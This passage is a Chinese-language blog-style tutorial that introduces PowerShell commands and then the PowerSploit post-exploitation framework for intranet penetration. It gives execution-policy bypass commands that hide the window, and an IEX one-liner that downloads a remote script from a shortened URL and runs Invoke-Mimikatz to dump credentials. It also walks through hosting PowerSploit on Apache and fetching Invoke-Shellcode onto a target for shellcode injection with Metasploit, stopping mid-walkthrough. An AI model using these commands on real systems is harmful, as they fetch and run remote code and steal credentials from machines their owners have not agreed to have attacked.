一.Powershell
我们先来说说powershell,PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。Powershell需要.NET环境的支持,同时支持.NET对象。其可读性,易用性,可以位居当前所有 shell 之首。
这是别人说的,不过稍微研究下觉得,哇塞,这东西真的挺牛的,除了语法麻烦以外,剩下都挺好,不过语法麻烦让我们这种英文不好的人怎么玩啊
当前 PowerShell 有五个版本,分别为 1.0,2.0,3.0,4.0,5.0
当时看别人的文章都说是有四个版本,但是我打开windows10看一眼,恩,微软更新了,windows10自带的5.(好几)的版本啊
先来看看他的基本命令:
新建目录 New-Item whitecellclub -ItemType Directory
新建文件 New-Item light.txt -ItemType File
删除目录 Remove-Item whitecellclub
显示文本内容 Get-Content light.txt
设置文本内容 Set-Content light.txt -Value “i love light so much”
追加内容 Add-Content light.txt -Value “but i love you more”
清除内容 Clear-Content light.txt
看看吧,什么感觉,你还喜欢他么?
不过好在,微软也想到了这个问题,我们可以用windows下的命令跟Linux下的命令,比如:
这里说一下,我们怎么看我们powershell的版本,
Get-Host
这个是虚拟机的win7,所以是2.0的版本
powershell还有一些比较叼的用法:
本地权限绕过执行
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过执行脚本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive
-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
直接用IEX下载远程的PS1脚本回来权限绕过执行
powershell "IEX (New-Object
Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-
Mimikatz -DumpCreds"
我们可以来试一下:
这个命令是可以看到我们的版本的
完美绕过!(ps:这里说一下,ps1结尾的是powershell脚本,大家可以自己去研究下,我这里就不在赘述了,因为我也不会写这种脚本)
二. Powersploit
介绍完了,我们开始我们的正题吧 Powersploit在内网渗透中的使用
powersploit一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能。
github地址: https://github.com/mattifestation/PowerSploit
这里才是重点,我们开始吧:
首先,我在我本机上下载这个脚本文件
ps:我本机用的是ubuntu,所以我这里就用ubuntu代替kali的操作
下载完成之后,我们把我们下载的文件放到apache目录小,让我们可以远程下载,然后启动apache
service apache2 start
然后我们访问我们的127.0.0.1 保证我们可以访问的到
他的目录就跟metasploit一样,分工明确
CodeExecution 在目标主机执行代码
ScriptModification 在目标主机上创建或修改脚本
Persistence 后门脚本(持久性控制)
AntivirusBypass 发现杀软查杀特征
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Recon 以目标主机为跳板进行内网信息侦查
(1). Invoke-Shellcode
我们使用 Invoke-Shellcode
Invoke-Shellcode的作用:将shellcode插入您选择的进程ID或本地PowerShell中。
Invoke-Shellcode配合上metasploit,可以达到意想不到的效果
现在主机上下载我们的脚本(当然,你也可以直接从github上去下载,也可以从我们本机下载)
IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecution/Invoke--Shellcode.ps1")
|